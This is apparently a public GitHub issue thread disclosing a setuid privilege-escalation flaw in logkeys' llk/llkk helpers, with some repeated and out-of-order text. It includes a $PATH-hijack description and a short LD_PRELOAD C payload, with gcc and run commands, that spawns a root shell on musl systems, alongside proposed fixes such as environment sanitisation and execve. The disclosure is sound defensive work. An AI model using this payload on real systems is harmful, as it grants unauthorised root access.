Open zhuyifei1999 opened 1 year ago
Thanks for the report!
Invoking processes under setuid, without sanitizing environment variables, is extremely risky. I tried with an exploit by $PATH.
So in your opinion, a correct fix would be to set absolute paths in logkeys-start/kill.sh scripts?
So in your opinion, a correct fix would be to set absolute paths in logkeys-start/kill.sh scripts?
That would fix this specific instance, but other environment variables may still affect the behavior of the runtime. I mentioned earlier that
musl will not do such hand-holding
I'm not sure who would run musl-based desktop (Alpine maybe?), so one could do, on a musl-based system (untested):
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
static void exploit(void)
{
puts("pwned! here's your root shell:");
execle("/bin/bash", "bash", NULL, NULL);
}
gcc -shared -o exploit.so exploit.c
LD_PRELOAD=exploit.so /usr/local/bin/llkk
Or even in glibc, I could probably try harder to find more subtle ways to perform an exploit, after kill.sh uses absolute path.
I think ideally at any point, if both these conditions are true for a setuid:
it should sanitize all environment and keep only the bare minimums to function. Eg. sudo does this with a env_reset
flag / env_keep
list.
Edit: After thinking further the environment should pretty much always be sanitized if it invokes something else.
Also considering llk & llkk both does exit(system(...))
I'd consider doing a manual execve call to make it simpler and not rely on any shell. Another benefit of a manual execve is that you can pass an explicit list of every env variable to pass.
Apologies for reporting this in public. The button to do so privately isn't enabled.
Invoking processes under setuid, without sanitizing environment variables, is extremely risky. I tried with an exploit by $PATH.
Installing:
And here comes the adversary:
This works because logkeys-kill.sh finds the location of logkeys by the $PATH.
I also tried using $LD_PRELOAD; considering RUID == EUID, the shell invoked by system() is in insecure mode (AT_SECURE is off), but glibc wipes a bunch of env variables for setuids (https://github.com/bminor/glibc/blob/ae612c45efb5e34713859a5facf92368307efb6e/elf/rtld.c#L2689), but musl will not do such hand-holding.